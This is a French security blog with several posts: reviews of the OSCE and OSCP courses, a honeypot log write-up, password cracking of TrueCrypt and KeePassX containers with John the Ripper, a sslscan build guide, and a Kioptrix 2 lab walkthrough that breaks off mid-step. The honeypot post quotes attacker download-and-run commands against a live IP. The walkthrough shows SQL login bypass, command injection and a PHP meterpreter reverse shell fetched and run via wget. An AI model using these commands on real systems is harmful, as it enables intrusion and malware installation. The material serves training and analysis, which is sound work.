samedi 9 avril 2016

Review: Cracking The Perimeter (CTP/OSCE)

Update: Ajout de quelques liens et références, ainsi que des vidéos Shmoocon/Defcon. Reformulation de certaines phrases. Ajout de références sur la partie réseau/cisco.

L'an dernier je vous faisais une review, en français, de ce que l'on appelle vulgairement "OSCP" (le training "Pentesting With Kali", avec la certification OSCP), cette année ça sera "OSCE". Je n'ai pas vu des masses de review en français, si ce n'est aucune.

J'ai fini par passer l'exam, à la toute dernière date possible, et si vous lisez ces lignes, c'est que je l'ai réussi.


Allez, c'est parti !

Pourquoi CTP ?

CTP, ou "Cracking The Perimeter", est le nom de la formation (OSCE est donc le nom de la certification associée).

Sur le principe on peut se demander pourquoi avoir besoin d'un training supplémentaire pour faire du test d'intrusion, une fois qu'on est certifié "OSCP". Offensive-Security apporte son élément de réponse sur la page du training "CTP" en disant, en substance, que de nos jours la barre est assez élevée pour entrer dans un réseau, et que les exploits publics/mots de passe par défaut ne suffisent plus, que l'attaquant a besoin de compétences plus poussées, et que ce training apporte ces compétences.
The bar required to “crack” the organizational perimeter is constantly being raised. Public exploits and weak passwords rarely do the job, which requires the attacker to have an expanded set of advanced hacking techniques in order to successfully complete a real-world pentest.

Le "challenge"

Chose assez inhabituelle pour pouvoir s'inscrire à ce cours, il faut faire un petit challenge en quelques étapes, fournissant des identifiants uniques à communiquer lors de l'inscription. Le but est de s'assurer que le candidat dispose d'un niveau de connaissances minimum avant de s'engager là dedans, histoire qu'il ne perde pas du temps (et surtout de l'argent). En revanche, réussir ce challenge ne garantit pas la suite :)
Il est fortement déconseillé de "tricher" en allant chercher des soluces en ligne avant de faire l'inscription (mais cela va de soi), ça ne fait que retarder la déception en se mentant à soi même. Sauf peut-être pour le "Meilleur Pentester de France 2010".
Je laisserai les curieux se rendre sur le site et résoudre le challenge afin qu'ils se fassent une idée sur les pré-requis (mais ce n'est en rien comparable au challenge du SSTIC :p)

Maintenant, une question qui revient assez souvent c'est "est-ce qu'il faut avoir fait PWK/OSCP avant ?", la réponse est non. Et quant à savoir quel est le niveau minimum à avoir, c'est difficile à dire, mais avoir déjà un peu joué avec des stack overflows est un bon début.

Le programme

Alors on ouvre le syllabus du cours pour voir en gros en quoi il consiste, En revanche, je ne peux pas trop m'étendre sur les détails du contenu :

"Web Application Angle"

Exploitation de quelques vulnérabilités "web" pour aboutir à un shell distant (XSS et LFI).
On va dire que c'est une entrée en la matière de type "pentest" pour faire la liaison avec le cours précédent. Le niveau peut sembler "bas", mais il consiste aussi à analyser du code pour y identifier une vulnérabilité.

"Backdoor Angle"

Cette section sert d'initiation à OllyDBG principalement. On ajoute du code malveillant à un binaire tout ce qu'il y a de plus normal, à la main. On prend aussi un exécutable flaggué comme malveillant par un antivirus, et on le rend indétecté (en tout cas par cet antivirus).

"Advanced Exploit Developpement"

Déjà, on va revoir où nous laissait PWK/OSCP. On exploitait un stack overflow dans un binaire ne présentant pas de protections particulières, sous Windows (et aussi sous Linux) pour sauter sur un shellcode placé sur la stack.
Ici on aborde des cas un tout petit peu plus réalistes, comme la vulnérabilité MS07-017 sous Windows Vista et son ASLR foireux. Le bypass de l'ASLR est trivial, en revanche, on découvre que parfois on saute sur du contenu sous notre contrôle, mais qu'il doit respecter certaines contraintes pour être traité. En l'occurence, on saute au début du header ANI (une chaine "RIFF"), mais on ne peut pas le remplacer par autre chose. On découvre ce qu'on peut faire pour ça.
On voit ensuite un cas où on se retrouve avec peu d'espace accessible directement, mais où on est en mesure de placer et exécuter un shellcode de premier niveau (egghunter) qui ira à la recherche d'un shellcode plus gros situé ailleurs en mémoire.

"0day Angle"

Rassurez-vous, pas de véritables 0days dans le cours, en revanche, on aborde la recherche de vulnérabilités à l'aide de fuzzers (ici, SPIKE), dans le but d'obtenir des 0dayscrashs.
On fait du fuzzing sur un serveur TFTP sous Windows, on en profite pour découvrir l'exploitation lorsque c'est le pointeur SEH qu'on écrase.
On termine la partie exploitation sur des conditions d'exploitation un peu complexes lorsque nos seuls caractères autorisés sont alphanumériques, ce qui complexifie pas mal les choses pour notre shellcode.

"Network Angle"

Ce module est instructif, mais je ne pense pas qu'il me serve réellement dans ma vie de pentester au quotidien. En mode TL;DR, on exploite le fait que le routeur (Cisco) cible ait une ACL pour l'utilisation de la communauté SNMP "private" depuis certaines IP internes uniquement, autorisant la récupération de fichiers de configuration via TFTP. On envoie donc des requêtes SNMP "private" spoofées à l'aide de Scapy pour dire au routeur de venir récupérer notre configuration custom ajoutant un tunnel GRE dont il serait une extrémité, et dont nous serions l'autre extrémité, comme ça nous sommes en mesure de sniffer le traffic passant par ce routeur. Bon en 2016 on connait le filtrage ingress, mais on sait jamais (non, je ne parle pas du jeu en réalité augmentée).
De manière générale, bien que la mise en oeuvre elle-même de l'attaque est hautement improbable de nos jours, la partie "post-exploitation" (à savoir configurer un tunnel GRE) est intéressante et peut donner des éléments de réponse à la question "que faire une fois root sur un routeur (cisco) ?". A noter qu'un vieil article de Phrack répond aussi à cette question, avec le même genre de réponses :-)
Une variante de cette attaque est expliquée dans l'article "Cisco SNMP configuration attack with a GRE tunnel". On retrouve également des explications au chapitre 9 de "Gray Hat Hacking" 4e édition ("Exploiting Cisco Routers").

Le cours

Il s'agit d'un PDF et de quelques heures de vidéo.

Le lab

Ce qui rendait PWK assez unique et en faisait une excellente expérience, c'était son "lab" d'une cinquantaine de machines à compromettre de manières plus ou moins différentes. Dans CTP...eh bien il n'y en a pas vraiment. On se retrouve avec 3 hôtes, dont un qui peut se retrouver dans une configuration IP différente (via le panel d'admin) pour le module réseau de la fin :
- un routeur de type Cisco (probablement émulé via GNS3) pour la partie réseau
- un hôte Windows Vista (pour les parties "backdoor angle" et "advanced exploit development", ainsi que "network angle")
- un hôte Windows 2003 Server (pour les parties web, et fuzzing)
On dispose au maximum de 60 jours (à 1500 USD, soit environ 1400 euros au taux de change actuel) pour profiter au maximum de ce temps de "lab".
Evidemment, offsec ne propose pas des formations où il faut passer 60 jours non-stop dessus. Il s'agit de 60 jours à raison de quelques heures par-ci par-là, comme pour OSCP, en considérant que les gens ont un emploi - parfois chronophage - à côté. Donc en 60 jours il est théoriquement largement possible de passer sur tous les modules (les reproduire dans son "lab" et les documenter allègrement). En réalité, en 30 jours, en s'y collant tous les jours, c'est faisable.

La théorie, et la pratique

Là où dans PWK les instructions pouvaient être suivies pas à pas, et reproduites à peu près exactement, pour arriver à peu près au même résultat que dans le cours, ici ce n'est pas la philosophie. En fait, on considère qu'on est assez grand pour comprendre et s'adapter. Donc les manipulations peuvent parfois ne pas être reproduites telles quelles; par exemple certaines lignes de commandes tapées dans la console sont fausses, certains outils utilisés génèrent des résultats très différents de ceux attendus car ils ont évolué depuis, et pour finir, parfois il y a très peu d'explications. Dans un sens c'est normal, la sécurité informatique est un domaine en perpétuelle évolution (au même titre que l'informatique), on doit démontrer notre capacité à apprendre, et nous adapter.

La documentation

Comme beaucoup de choses dans le domaine de la sécurité informatique, on peut se former tout seul, en autodidacte. L'intégralité des notions abordées par ce cours n'échappent pas à cette règle. Une ressource majeure sont les articles d'exploitation de corelan (en tout cas, les exploit writing tutorials jusqu'au 9e inclus).
Certains bouquins sont également très intéressants :
- The Shellcoder's Handbook
- Hacking: The Art of Exploitation (un seul chapitre en particulier)

Il est également possible de s'entrainer un peu. Le programme vulnserver.exe trouvable assez facilement fera une très bonne cible d'entrainement.

L'ancêtre du cours était à l'origine une présentation faite par muts à Shmoocon, "Backtrack to the Max", dont il existe une vidéo en ligne, présentant le bypass d'antivirus et l'exploitation de ms07-017. Un des modules (shellcoding en conditions extrèmes) a également fait l'objet d'une présentation à Defcon 16 :

De manière générale, chaque domaine abordé dans le cours apporte quelques éléments. Le fait que la vidéo et/ou le support pdf soient parfois volontairement erronés va pousser à aller se documenter sur Internet, pour parfois tomber sur des informations qui sont à l'état de l'art, contrairement au cours lui même, qui date un peu. Forcément, on ne leurre plus un antivirus avec un bête xor en 2016, et le fuzzing avec SPIKE, on a fait mieux depuis :-)


L'exam

A l'instar de l'exam OSCP, à l'heure à laquelle notre exam est programmé on reçoit un kit de connexion à un VPN nous donnant accès à un certain nombre de machines et un panel, et on dispose de 48 heures pour faire ce qui nous est demandé. Evidemment, vous vous doutez que ça tourne autour de la compromission de machines. Par contre, ici il faut oublier exploit-db ou metasploit :-) (qui seront totalement inutiles)
Il faudra mettre en application la quasi totalité des compétences abordées dans le contenu du cours, voire même peut-être un peu plus. C'est sur cet aspect là que se différencient les "geeks" qui iront creuser plus loin que le contenu du cours, et les autres :) parce qu'après tout, c'est cela la sécurité informatique, quelque chose que l'on apprend majoritairement par soi-même. On peut être guidé/accompagné sur certains aspects, mais c'est à nous de continuer seul. On ne peut pas se permettre de rester sur nos acquis.
Evidemment, c'est pas parce qu'on dispose de 48 heures que ça prendra forcément 48 heures. Ca peut prendre moins.
On dispose ensuite de 24 heures supplémentaires pour soumettre un rapport. Là encore, faire le rapport prend une poignée d'heures. C'est juste qu'on dispose de 24 heures maximum pour le rendre.

Je ne vais pas rédiger ici un compte rendu heure par heure de mon organisation pendant l'exam, chacun ayant un mode de fonctionnement différent.

Et la suite ?

Il n'y a pas vraiment de suite à proprement parler. Je pourrais continuer de jouer avec l'exploitation logicielle (et système) et envisager de poursuivre par le cours Advanced Windows Exploitation (aboutissant à la certification OSEE), mais il reste à voir si c'est là encore bien pertinent avec une activité de pentester qui doit plier un pentest en 5 jours rapport compris. Il y a également le cours "Advanced Web Attacks and Exploitation" aboutissant à la certification OSWE, qui parait déjà plus crédible pour un pentester de nos jours.

Conclusion

Je n'irais pas jusqu'à dire que ce training est complémentaire à PWK/OSCP. Certaines notions abordées ayant déjà été abordées, parfois même mieux, par PWK :
- la partie web xss/lfi : on voyait déjà le vol de cookies et la redirection vers un exploit browser pour les xss, et l'injection de code dans les logs pour la partie LFI;
- la partie backdooring/evasion d'antivirus est intéressante pour savoir comment faire ce genre de choses à la main, mais on obtenait limite de meilleurs résultats avec Hyperion dans le cours PWK ;
Ca nous donne 4 modules sur 9 qui mériteraient d'être profondément remaniés. En revanche, rien à dire sur les 5 autres, même si la partie exploitation tourne exclusivement autour de stack overflows.
Maintenant, est-ce qu'en tant que pentester, cette formation est réellement utile ? Je suis assez mitigé. En 2017 j'ai le sentiment qu'un pentester ne dispose plus que d'une poignée de jours - se comptant sur les doits d'une main - pour mener à bien un pentest, dans des conditions ne reflétant absolument pas l'état des menaces. De plus, le temps pouvant s'écouler entre le début de la recherche d'une nouvelle vulnérabilité, et la mise au point d'un code d'exploitation à peu près stable peut prendre des mois (je n'ai plus la source, mais j'ai cru lire 6 mois pour la plupart des gros logiciels bien répandus). Donc clairement, pour étoffer son set de compétences en pentest, clairement, c'est pas la peine. Par contre, pour faire de l'évaluation de sécurité de produit en labo, pourquoi pas.

vendredi 11 mars 2016

Fun avec un honeypot

J'ai récemment mis un Honeypot en route histoire de récupérer du contenu, et surtout faire quelques statistiques. Alors évidemment, je sais parfaitement que c'est pas comme ça que je vais mettre la main sur du 0day bien croustillant, mais ça a le mérite de me divertir entre deux épisodes d'X-Files.

Update:
J'ai initialement lancé ce honeypot dans un machine virtuelle, mais vu que j'avais également un Raspberry Pi (1ère version, modèle B avec 512mo de ram), j'ai pensé l'utiliser pour en faire un honeypot. Avec "cowrie" c'est juste inutilisable. Le problème est connu, et semble insoluble sur un raspberry 1 pour des raisons de performance. Je me suis rabattu sur Kippo, mais pas mieux (malgré l'overclocking au max).

Ou alors je trouve ça déprimant, parce que je tombe sur des incapables qui me génèrent en boucle la même entrée dans mes logs:

2016-03-09 20:15:26+0100 [SSHChannel session (3) on SSHService ssh-connection on HoneyPotTransport,385,83.197.xx.xx] CMD: wget -qO - http://104.199.163.91/x/2sh | sh > /dev/null 2>&1 &
2016-03-09 20:15:26+0100 [SSHChannel session (3) on SSHService ssh-connection on HoneyPotTransport,385,83.197.xx.xx] Command found: wget -qO - http : //104.199.163.91/x/2sh | sh > /dev/null 2 >& 1 &

Ou des variantes, sur le nom du script téléchargé. Si on regarde le contenu de ce genre de scripts :

curl -O http://104.199.163.91/x/vyattad && chmod +x vyattad && ./vyattad
curl -O http://104.199.163.91/x/kblockd && chmod +x kblockd && ./kblockd
curl -O http://104.199.163.91/x/pty && chmod +x pty && ./pty

Et si on s'intéresse à ces binaires :





En gros, du malware pour Linux bien connu. Sauf le dernier fichier (vyattad), connu d'Avast uniquement jusqu'à hier soir. Deux antivirus se sont rajoutés entre temps. Ce fichier semble être un exécutable pour Linux sur architectures MIPS :

$ file vyattad
vyattad: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, stripped

Ce qui semble cohérent avec la littérature relative à ce malware. Un strings sur le fichier ne me renvoie rien d'intéressant (ce qui est bizarre, un commentaire sur VirusTotal faisant état d'un fichier packé à l'aide d'UPX). Je n'ai pas d'utilitaire UPX pour mips pour le moment, donc je ne peux pas vérifer.
Un objdump pour MIPS ne me renvoie rien de bien fascinant non plus :

$ ./mipsel-buildroot-linux-uclibc-objdump -D vyattad
vyattad: format de fichier elf32-tradbigmips

Et readelf pour MIPS non plus (avec un petit message fun sur la fin) :

$ ./mipsel-buildroot-linux-uclibc-readelf -a vyattad
En-tête ELF:
Magique: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Classe: ELF32
Données: complément à 2, système à octets de poids fort d'abord (big endian)
Version: 1 (current) OS/ABI: UNIX - System V Version ABI: 0
Version: 0x1
Type: EXEC (fichier exécutable) Machine: MIPS R3000 Adresse du point d'entrée: 0x1a3b80
Fanions: 0x10001005, noreorder, cpic, o32, mips2
Début des en-têtes de programme: 52 (octets dans le fichier) Début des en-têtes de section: 0 (octets dans le fichier) Taille de cet en-tête: 52 (bytes)
Table d'indexes des chaînes d'en-tête de section: 0
Taille de l'en-tête du programme: 32 (bytes) Nombre d'en-tête du programme: 2 Taille des en-têtes de section: 40 (bytes) Nombre d'en-têtes de section: 0 Il n'y a pas de section dans ce fichier.
LOAD 0x001c70 0x00611c70 0x00611c70 0x00000 0x00000 RW 0x10000
Il n'y a pas de section à grouper dans ce fichier. En-têtes de programme: Type Décalage Adr. vir. Adr.phys. T.Fich. T.Mém. Fan Alignement LOAD 0x000000 0x00100000 0x00100000 0xa4e40 0xa4e40 R E 0x10000
Aucune information de version repérée dans ce fichier.
Il n'y a pas de section dynamique dans ce fichier. Il n'y a pas de réadressage dans ce fichier. The decoding of unwind sections for machine type MIPS R3000 is not currently supported.

Je n'ai plus qu'à exécuter ce truc pour en faire une analyse dynamique, mais pas ce soir.

Maintenant, je me suis aussi interessé à l'IP qui s'est connectée à mon honeypot, ne serait-ce que pour savoir si c'est un haxor dans son coin qui vient de lancer un script, ou un bot qui ne fait que partager un script qui l'a infecté auparavant. Je ne dirai qu'une chose : la domotique qui a le cul sur internet, c'est très moche (l'internet des objets, vous savez ?)


Allez, la prochaine fois je tomberai peut-être sur quelque chose de plus intéressant.

mercredi 15 avril 2015

Scripts John The Ripper - Jumbo

Bon, cet article est un peu lame, surtout vu les exemples que je vais donner, mais l'idée c'est d'aborder la possibilité de récupérer le mot de passe d'un conteneur chiffré à l'aide de John the Ripper et ses outils (généralement fournis par le patch Jumbo).

Premièrement, ce que j'entends par conteneur, c'est un fichier dont le contenu est chiffré, et pour lequel un mot de passe est nécessaire pour obtenir/dériver une clé permettant le déchiffrement du contenu chiffré. Ici je vais présenter l'exemple de KeePassX et de TrueCrypt.

Il existe des outils certainement plus performants que John The Ripper pour ces algorithmes là. Je pense particulièrement à "truecrack" que je n'ai pas encore eu l'occasion de tester, mais qui est adapté pour la récupération du mot de passe d'un volume TrueCrypt. Mais mon propos ici est de montrer que le patch Jumbo de John The Ripper apporte un certain nombre de scripts très intéressants (ensuite, il est parfaitement possible d'utiliser oclHashCat pour casser le hash d'un volume TrueCrypt une fois qu'on l'a).

Je n'explique pas ici comment récupérer et compiler John the Ripper et son patch Jumbo (rtfm).

J'ai créé un volume TrueCrypt pour l'occasion, avec un mot de passe bateau: "toto", présent dans une de mes wordlists. Les algos utilisés sont ceux proposés par défaut par TrueCrypt :


On utilise ensuite le script "truecrypt_volume2john" fourni par John Jumbo :


Puis on passe le fichier résultant à John en spécifiant l'algo de hash utilisé (même si par défaut il utilise le bon), ainsi que le chemin vers notre wordlist bien fournie. Au bout de quelques secondes, on obtient notre mot de passe:


On peut faire la même chose avec KeePassX. J'ai créé une base KeePassX standard (pas de keyfile), puis le script keepass2john :


Là encore, on utilise John, et on a le mot de passe :


Bien évidemment, il existe un très grand nombre d'autres scripts, dont en vrac :
- 7z2john.py
- androidfde2john.py
- ecryptfs2john.py
- odf2john.py
- office2john.py
- pdf2john.py
- rar2john
...

mercredi 24 décembre 2014

Try Harder (review PWK/OSCP)

Ce week-end, j'ai (enfin) terminé mon cycle PWK en obtenant la certification OSCP, par conséquent j'en profite pour faire un post pour les francophones qui voudraient en savoir plus, ou qui ne connaissaient juste pas et cherchent une formation en sécurité informatique (ou alors pour les managers qui cherchent quelle formation payer à leurs employés, mais je pense qu'on peut rêver).

PWK (Pentesting With Kali)

C'est la formation de base d'Offensive-Security permettant de se familiariser avec le monde fabuleux de la sécurité informatique. Dans mon cas, je pense être déjà pas mal familiarisé avec ce domaine, dans la mesure où ça fait 15 ans que je m'y intéresse (et pas loin de 8 ans que je bosse dedans), mais j'aime bien l'idée de potasser sur des sujets sur lesquels je ne m'étais jamais trop attardé avec un objectif intéressant (la certification).

La formation

La formation en elle même est intéressante. On se retrouve avec un fichier .PDF de 350 pages accompagné d'un .rar contenant des vidéos reprenant les manipulations détaillées dans le pdf (enfin presque toutes). Le tout est watermarké avec nom/prénom/adresse, au cas où les documents fuiteraient sur internet. Vous pouvez retrouver le sommaire du cours sur le site Offensive-Security. Alors ne rêvez pas non plus, pas de techniques über eleet là dedans non plus, mais assez de contenu pour débuter dans le pentest réseau, exploiter des vulnérabilités avec metasploit ou utiliser des exploits de exploit-db (et les adapter quand ils en ont besoin), ou pivoter d'un réseau à l'autre via des tunnels et port forwards, en passant par l'exploitation de stack overflows (et juste ça) de base dans des conditions réelles (ASLR, DEP) de type appli avec au moins une dll sans ASLR sous Windows 7 avec DEP désactivé.

Lab

Jusque là, rien de trop différent d'une formation du SANS (en l'occurence, SANS 560) en mode e-learning. Sauf que là où une formation SANS se déroule en 5-6 jours (parfois avec un prof), la formation PWK se déroule généralement entièrement chez soi (enfin, là où on veut), et on a un accès VPN à un réseau comportant une cinquantaine de machines pouvant toutes être compromises, à la difficulté variable. Alors ici, pas de scénarios trop tordus comme dans un CTF : c'est une formation qui se veut pratique, basée sur des cas concrets et généralement inspirés de cas réels. En vrac, et en évitant de trop sploiler, voici quelques scénarios de machines pouvant être rootées sur ce lab :
- Du "remote root" (dans divers services)
- Des creds par défaut sur des applications diverses dont on peut tirer parti de diverses manières (ça va du ftp anonyme nous permettant de récupérer des infos intéressantes, à l'outil de ticketing qui tourne en admin et qui peut être détourné pour exécuter du code sur le système)
- Des applications web trouées (applications réelles, dont du wordpress)
- Des fausses pistes (injection SQL un peu tricky à exploiter sur une machine vulnérable à un "remote root" du système)
- La nécessité de fouiller les machines permettant d'obtenir des pistes (passwords.txt, analyse de logs http à la recherche de postes clients à compromettre, ...)
- Etc.

J'insiste sur le fait que toutes les machines sont rootables. Si on bloque, c'est qu'il nous manque une information, et qu'on a pas fait suffisamment de "reconnaissance" ("Try Harder").

Le réseau accessible via le VPN est un réseau à plusieurs niveaux. Sur le site d'offsec on retrouve un schéma réseau qui ressemble à celui auquel on a accès :
http://www.offensive-security.com/wp-content/uploads/2012/01/offsec-playground-thumb-21.jpg

- Le "starting network" qui est le réseau "public" accessible directement depuis le VPN;
- Le "starfleet network" qui correspond à un réseau "dev", accessible depuis une poignée de machines du réseau "public";
- Le "middle earth network" correspondant au réseau "IT", accessible depuis une poignée de machines du réseau "public";
- Le "grey network" correspondant au réseau "admin", accessible uniquement en passant par certaines machines du réseau "IT"

Le but de tout ça étant de se familiariser avec la notion de "rebond", car même si lors de pentests internes, on se retrouve trèèèèès souvent avec des réseaux "à plat" ou avec des erreurs de configuration qui permettent du "any to any", il est intéressant de pouvoir s'entrainer pour les quelques cas où ça ne sera pas le cas.

On dispose d'un temps allant de 1 à 3 mois pour se balader sur le réseau (le bundle 3 mois + passage de certification revient à environ 850 euros, ce qui n'est pas excessif, à comparer à 4000 euros pour une formation du SANS, surtout pour une certification qui commence doucement à être reconnue).

On doit documenter la méthode de compromission des machines dans un rapport, en essayant de fournir le plus de détails possibles (screenshots, copies de term, exploits, etc). A titre personnel, je me suis organisé en prenant des notes et des screenshots à chaque étape. Je me retrouve à la fin avec un rapport "de lab" d'une centaine de pages.

Exam / challenge

Vient ensuite l'épreuve ultime: passer l'exam OSCP. Il est un peu spécial, et généralement ça impressionne les gens comme la "piscine epitech", dans le sens où il est annoncé comme un examen de 2x24 heures consécutives. A noter que le staff d'offensive security y fait référence comme le "challenge OSCP".

- 24 heures d'examen à proprement parler où on accède à un réseau comprenant 5 serveurs rapportant entre 10 et 25 points (10, 2x20 et 2x25), totalisant 100 points (70 sont requis pour obtenir la certification). Seule une partie des points est obtenue en cas de compromission partielle (on a tous les points si on lit un fichier accessible au root/admin, sinon un autre fichier, accessible avec un compte non-privilégié rapporte qu'une partie des points en gros)
- 24 heures pour rédiger un rapport de pentest, en anglais, relatif à ces 5 machines.

Si on se retrouve avec un peu moins de 70 points, le rapport des 3 mois de "lab" sera évalué par le staff d'offensive-security, et en fonction de sa qualité, ils accorderont (ou pas) les quelques points manquants.

Il existe un certain nombre de restrictions durant le "challenge" :
- l'utilisation de Metasploit est fortement réglementée. Concrètement il est possible de l'utiliser pour compromettre UNE machine, parmi TROIS sur lesquelles c'est permis (si ensuite il n'existe qu'un exploit Metasploit pour compromettre une machine, c'est que c'est ici qu'il sera le plus judicieux de l'utiliser). Cela est valable aussi bien pour les exploits en remote, que pour les élévations de privilèges locales au travers de Meterpreter.
- l'utilisation de Meterpreter est autorisée en tant que payload/outil de prise de contrôle à distance, mais pas les fonctions telles que "getsystem".
- les scanners de vulnérabilités un peu bourrins à la Nessus/OpenVAS, NeXpose, w3af, ... ainsi que les outils un peu trop automatisés (genre sqlmap) ne sont pas non plus autorisés. En revanche, il est parfaitement possible d'utiliser nmap et tous ses plugins, ainsi que burp.

Le pool de machines choisies est assez hétérogène, et il y a même une machine disposant d'un logiciel pour lequel il existe une vulnérabilité publique (un stack overflow basique exploitable à distance) nécessitant le développement d'un exploit en partant d'un poc provoquant un crash (la génération du shellcode ainsi que la recherche d'un eip pointant sur ce dernier étant donc à la charge du challenger).

Evidemment, tout doit être documenté dans un rapport "d'exam" à remettre au staff d'offsec par e-mail, avec des screenshots prouvant la compromission des machines (en gros un id/ifconfig/cat flag.txt ou son équivalent Windows).

Ensuite on reçoit un mail au bout de quelques jours, avec le verdict. On ne connait pas le nombre de points qu'on a obtenu, on sait juste si on passe ou pas. J'ai envoyé mon rapport Lundi dans la journée, mardi à 15h j'avais une réponse.

Quoi étudier en attendant ?

J'anticipe, au niveau de la littérature recommandée avant de s'engager là dedans :
- Le support de cours PWK fourni par Offensive-Security
De plus, la connaissance préalable d'au moins un langage de programmation est fortement recommandée, ne serait-ce que pour être capable de comprendre comment modifier un exploit qui ne fonctionne pas (avec un bonus pour le C dans le cas d'exploits de 1865 qui ne compilent plus sur un gcc récent).

Concernant l'investissement personnel...il faut être prêt à sacrifier quelques soirées, mais pas toutes. Cela dit, passer une dizaine d'heures par semaine sur cette formation n'est pas insurmontable. Tout dépend de là où on part, et de l'objectif que l'on se fixe. Pour l'exam, 24 heures c'est largement suffisant, n'imaginez pas qu'il faille préparer un stock de redbull. Il est faisable en beaucoup moins.

Conclusion

Globalement, si d'un point de vue technique je n'ai pas appris grand chose, ça m'a au moins motivé à persévérer (le fameux "try harder"), dans la mesure où chaque machine est pwnable. Si on y arrive pas, c'est qu'il nous manque une info pour continuer. Ca force donc à élargir le champ de recherche, ce qui sera forcément bénéfique dans le cadre de véritables pentests.

vendredi 19 décembre 2014

Support de SSLv2 dans sslscan (sous Linux)

Sslscan c'est beau et magique, mais depuis que les distributions GNU/Linux packagent des versions d'OpenSSL sans support sslv2, une partie des fonctionnalités de sslscan ne fonctionnent plus.
Evidemment, Internet regorge de tutos expliquant comment recompiler et packager la libssl sous diverses distributions Linux de warlordz (j'ai rien contre Kali, au contraire) pour ajouter le support sslv2 et recompiler sslscan.
Sur mon laptop, je n'utilise pas Kali (enfin si, dans une VM), j'ai juste un dossier dans lequel j'ai tous mes outils compilés par mes soins, et généralement plus ou moins up2date à la dernière version du repository git/svn/etc. Voici comment je me suis démerdé. L'avantage c'est que le reste de mes applis n'utilise pas une version de la libssl supportant SSLv2.

$ cd bordel/
$ wget https://www.openssl.org/source/openssl-1.0.1j.tar.gz
$ tar -xzf openssl-1.0.1j.tar.gz
$ cd openssl-1.0.1j/
$ ./config
$ make
$ cd ..
$ git clone https://github.com/rbsec/sslscan.git
$ cd sslscan/
$ gcc -o sslscan sslscan.c ../openssl-1.0.1j/libssl.a ../openssl-1.0.1j/libcrypto.a -I ../openssl-1.0.1j/include/ -DVERSION=\"1.9.8-rbsec\" -ldl

Ouais bon le coup du -DVERSION c'est parce que le Makefile l'ajoute à la compilation, et vu qu'ici on compile direct comme des gorets ...
Le reste c'est juste la compilation de la dernière version d'OpenSSL (en lib statique, le comportement par défaut) et la compilation en linkant sslscan avec les versions statiques de la libssl et la libcrypto. Comme ça pas de dépendance à cette libssl (sinon on peut aussi compiler OpenSSL en lib dynamique, suffit de "./config shared", compiler avec les LDFLAGS qui vont bien et modifier le LD_LIBRARY_PATH à chaque utilisation de sslscan ... assez lourd quoi).

Ensuite on a plus qu'à lancer notre sslscan :

meik@eleet ~bordel/sslscan $ ./sslscan --ssl2 xxx.xxx.xxx.xxx:443
Version: 1.9.8-rbsec
OpenSSL 1.0.1j 15 Oct 2014

Testing SSL server xxx.xxx.xxx.xxx on port 443

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
All TLS protocols disabled, cannot check for heartbleed.

  Supported Server Cipher(s):
Accepted  SSLv2    128 bits  RC4-MD5
Accepted  SSLv2    112 bits  DES-CBC3-MD5

  Preferred Server Cipher(s):
SSLv2    128 bits  RC4-MD5

  SSL Certificate:
Signature Algorithm: sha1WithRSAEncryption
RSA Key Strength: 2048

Maintenant plus d'excuses.

jeudi 12 juin 2014

Walkthrough Kioptrix 2

Après avoir rushé la première VM Kioptrix, je me suis mis à la seconde. Mon approche n'est pas spécialement inédite, mais j'essaie d'expliquer mon raisonnement à chaque fois.

Comme la précédente, dans mon vmware je l'ai configurée pour être sur vmnet8. Je scanne donc la plage d'adresses IP accessibles sur mon interface vmnet8 et très vite je tombe sur :

Nmap scan report for 192.168.115.131
Host is up (0.0017s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)


Un coup d'oeil rapide me dit que je n'aurai pas grand chose d'exploitable directement, en gardant de côté les vulns Apache, mais je me rappelle pas de vulnérabilités permettant l'exec de code arbitraire ces dernières années. Je vérifierai. Le reste, bien qu'un peu ancien ne me semble pas non plus exploitable directement.

Je regarde donc ce qui tourne sur le serveur http, j'obtiens une page de login. Je teste les grands classiques admin/admin & co puis j'arrive aux traditionnels auth bypass sql injection, bingo avec "admin" / ' or '1' = '1 (une liste sympathique à cet effet est disponible ici) et j'arrive sur une console d'admin un peu rustique me demandant une ip à pinger. 


Là encore, habitué des interfaces web foireuses, par réflexe je mets un 127.0.0.1;id et j'obtiens ce que j'attends :

127.0.0.1;id
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.105 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.036/0.062/0.105/0.031 ms, pipe 2
uid=48(apache) gid=48(apache) groups=48(apache)


Pour gagner du temps je me génère un meterpreter en php avec msfpayload :
$ ./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.115.1 R > /tmp/shell.php
Je vire le petit '#' au début pour ne pas me faire niquer, et je prépare un handler sur ma machine pour réceptionner la connexion le moment venu :

$ ./msfcli exploit/multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.115.1 E
[*] Initializing modules...
[*] Processing XXX/msfconsole.rc for ERB directives.
resource (XXX)> db_connect -y XXX/config/database.yml.meik
[*] Rebuilding the module cache in the background...
resource (XXX/msfconsole.rc)> workspace -a MeiK
[*] Added workspace: XXX
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.115.1
[*] Started reverse handler on 192.168.115.1:4444
[*] Starting the payload handler...


On va donc récupérer le webshell depuis l'interface web du site foireux et l'exécuter :

Je lance un netcat pour servir le fichier :
nc -l -p 8080 < /tmp/shell.php

Et sur l'interface web je saisis cette commande :
127.0.0.1;wget 192.168.115.1:8080 -O /tmp/shell.php; php -f /tmp/shell.php

Qui file un paramètre au ping (en vrai on s'en fout), et exécute un wget pour récupérer le shell afin de le sauvegarder dans /tmp/shell.php et exécute ce fichier à l'aide de l'interpréteur php disponible sur la machine.

Pendant ce temps, sur un autre terminal :

